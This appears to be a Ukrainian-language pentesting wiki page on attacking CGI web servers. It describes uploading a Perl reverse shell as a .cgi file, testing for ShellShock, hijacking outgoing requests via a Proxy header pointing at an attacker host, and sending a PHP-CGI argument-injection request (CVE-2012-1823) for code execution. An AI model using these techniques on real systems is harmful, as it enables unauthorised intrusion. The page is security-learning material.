CGI
Інформація
CGI-скрипти - це perl-скрипти, тому, якщо ви скомпрометували сервер, який може виконувати .cgi скрипти, ви можете завантажити perl зворотний shell (/usr/share/webshells/perl/perl-reverse-shell.pl
), змінити розширення з .pl на .cgi, надати права на виконання (chmod +x
) і отримати доступ до зворотного shell з веб-переглядача, щоб виконати його. Для тестування уразливостей CGI рекомендується використовувати nikto -C all
(і всі плагіни)
ShellShock
ShellShock - це уразливість, яка впливає на широко використовуваний командний рядок Bash в операційних системах на основі Unix. Вона націлена на можливість Bash виконувати команди, передані додатками. Уразливість полягає в маніпулюванні змінними середовища, які є динамічними іменованими значеннями, які впливають на те, як процеси працюють на комп'ютері. Атакувальники можуть використовувати це, додаючи зловмисний код до змінних середовища, який виконується при отриманні змінної. Це дозволяє атакувальникам потенційно скомпрометувати систему.
Експлуатуючи цю уразливість, сторінка може викидати помилку.
Ви можете виявити цю уразливість, помітивши, що використовується стара версія Apache та cgi_mod (з папкою cgi) або використовуючи nikto.
Тест
Більшість тестів базуються на виведенні чогось за допомогою echo і очікуванні, що цей рядок повернеться у веб-відповіді. Якщо ви вважаєте, що сторінка може бути уразливою, шукайте всі сторінки cgi та тестуйте їх.
Nmap
Curl (відображений, сліпий та поза зв'язком)
Використання
Проксі (MitM для запитів до веб-сервера)
CGI створює змінну середовища для кожного заголовка в запиті http. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте відправити заголовок, що містить: "Proxy: <IP_зловмисника>:<ПОРТ>" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером.
Старий PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Фактично, якщо cgi активний і php є "старим" (<5.3.12 / < 5.4.2), ви можете виконати код. Для використання цієї уразливості вам потрібно отримати доступ до деякого файлу PHP веб-сервера без відправки параметрів (особливо без відправки символу "="). Потім, для тестування цієї уразливості, ви можете отримати, наприклад, /index.php?-s
(зверніть увагу на -s
) і відповідь міститиме вихідний код додатку.
Потім, для отримання RCE ви можете відправити цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input
і код PHP, який потрібно виконати в тілі запиту. Приклад:
Додаткова інформація про уразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Приклад CTF Writeup.
Last updated